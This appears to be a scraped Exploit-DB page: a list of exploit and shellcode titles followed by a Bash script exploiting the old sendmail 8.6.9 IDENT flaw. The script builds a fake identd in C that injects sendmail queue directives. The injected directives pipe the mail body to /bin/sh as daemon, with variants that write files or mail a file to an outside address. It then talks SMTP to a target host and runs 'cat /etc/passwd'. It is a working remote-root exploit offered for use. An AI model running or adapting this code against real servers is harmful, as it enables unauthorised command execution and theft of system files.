
14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
103 lines
No EOL
2.5 KiB
Bash
Executable file
103 lines
No EOL
2.5 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/2311/info
|
|
|
|
A vulnerability in the IDENT function of sendmail 8.6.9 allows attackers to obtain remote root access. Very little other information on this vulnerability is currently available; this is an old vulnerability.
|
|
|
|
|
|
it for sm869 or worse
|
|
# identd must not be enabled (port 113 must be free)
|
|
|
|
# this must be a host that mail can go to (MX not pointing elsewhere)
|
|
# that we cant reach right now (ie. host doesnt exist anymore)
|
|
UNREACHABLE="goofy.uhcc.hawaii.edu"
|
|
|
|
# Commands to run on remote host
|
|
COMMANDS="cat /etc/passwd"
|
|
|
|
# what host to run it on
|
|
TARGET="foobar.all.net"
|
|
|
|
# work in a temp dir
|
|
TD=/tmp/.Xwork.$$
|
|
mkdir $TD
|
|
cd $TD
|
|
|
|
cat > a.c <<_END_
|
|
#include <sys/types.h>
|
|
#include <sys/socket.h>
|
|
#include <netinet/in.h>
|
|
|
|
/* run body of mail through shell run as daemon */
|
|
#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed '1,/^$/d'|/bin/sh\"\nHXxx: "
|
|
|
|
#ifdef other_possibilities
|
|
/* write to a file as daemon */
|
|
#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
|
|
/* send back a file to someone and erase it */
|
|
#define REPLY "USERID : UNIX : a\nD/tmp/sendtome\nRemmanuel@2600.com\nHXxx: "
|
|
#endif
|
|
|
|
readline(fd, buf, len)
|
|
char *buf;
|
|
{
|
|
int i = 0;
|
|
|
|
while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
|
|
if(buf[i] == '\r' || buf[i] == '\n')
|
|
break;
|
|
i++;
|
|
}
|
|
buf[i] = '\0';
|
|
}
|
|
|
|
die(str)
|
|
char *str;
|
|
{
|
|
perror(str); exit(1);
|
|
}
|
|
|
|
main()
|
|
{
|
|
int s, s2, adlen;
|
|
struct sockaddr_in ad;
|
|
char buf[60];
|
|
|
|
ad.sin_family = AF_INET;
|
|
ad.sin_port = htons(113);
|
|
ad.sin_addr.s_addr = INADDR_ANY;
|
|
if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
|
|
if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
|
|
if(listen(s, 1) == -1) die("listen");
|
|
adlen = sizeof(ad);
|
|
s2 = accept(s, (struct sockaddr *)&ad, &adlen);
|
|
if(s2 == -1) die("accept");
|
|
printf("Connection from %s port %d\n",
|
|
inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
|
|
readline(s2, buf, 50);
|
|
sprintf(buf + strlen(buf), " : %s\n", REPLY);
|
|
write(s2, buf, strlen(buf));
|
|
}
|
|
_END_
|
|
|
|
# compile program
|
|
echo "compiling"
|
|
cc a.c -o ident
|
|
echo "running fake ident"
|
|
./ident &
|
|
|
|
# send to reomte
|
|
echo "talking to remote"
|
|
(
|
|
sleep 1; echo "helo"
|
|
sleep 1; echo "mail from: <dan>"
|
|
sleep 1; echo "rcpt to: <bounce@$UNREACHABLE>"
|
|
sleep 1; echo "data"
|
|
echo "$COMMANDS"
|
|
echo "."
|
|
sleep 1; echo "quit"
|
|
sleep 5
|
|
) | telnet $TARGET 25
|
|
|
|
# cleanup
|
|
cd /
|
|
rm -rf $TD
|
|
echo "done." |